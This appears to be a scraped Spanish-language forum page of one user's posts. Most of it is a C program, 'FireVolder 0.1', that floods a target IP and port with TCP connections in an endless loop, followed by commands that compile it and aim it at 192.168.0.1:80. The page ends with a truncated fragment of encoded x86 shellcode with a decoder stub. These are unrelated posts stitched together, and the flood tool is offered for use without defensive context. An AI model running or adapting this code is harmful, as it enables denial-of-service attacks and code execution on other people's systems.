No tienes la libreria en la otra pc. a eso ese error !
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
#include <time.h> //Hora
#include <stdio.h> //Funciones basicas entrada/salida
#include <string.h> //StrCmp
#include <stdlib.h> //Exit y otras
#include <signal.h> //Señales de salida
#include <arpa/inet.h> //struct sockaddr_in
#include <sys/socket.h> //Socket, Connect...
struct sockaddr_in host;
int sockfd, cont = 0;
void shutup (int signal)
{
printf ("Interrupt signal %d ::: Closing clonnections...\n%d conexions with server\n\n", signal, cont);
close (sockfd);
exit (1);
}
int finalizar (int state)
{
if (state == 1)
{
printf ("Ocurrio un error en tiempo de ejecucion...\n\n");
return 1;
}
else return 0;
}
int main (int argc, char *argv [])
{
time_t now=time (0);
struct tm *ahora;
char hora [40];
ahora=localtime ((const time_t*)&now);
strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("FireVolder 0.1 - By Sagrini (2010) - %s\n", hora);
if (argc != 3)
{
printf ("Use: %s <target_ip> <port>\n\n", argv [0]);
return 1;
}
signal (SIGTERM, shutup);
signal (SIGINT, shutup);
host.sin_port=htons(atoi (argv [2]));
host.sin_family=AF_INET;
host.sin_addr.s_addr=inet_addr (argv [1]);
memset (host.sin_zero, 0, 8);
printf ("Gotting connections with %s:%d...\n", inet_ntoa (host.sin_addr), ntohs (host.sin_port));
while (1)
{
while ((sockfd=socket (2, 1, 0))==1) sleep (1);
while (connect (sockfd, (struct sockaddr*)&host, sizeof (host))==-1) sleep (1);
cont ++;
close (sockfd);
}
return 0;
}
gcc -o code code.c
./code 192.168.0.1 80
\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2"
"\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69"
"\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81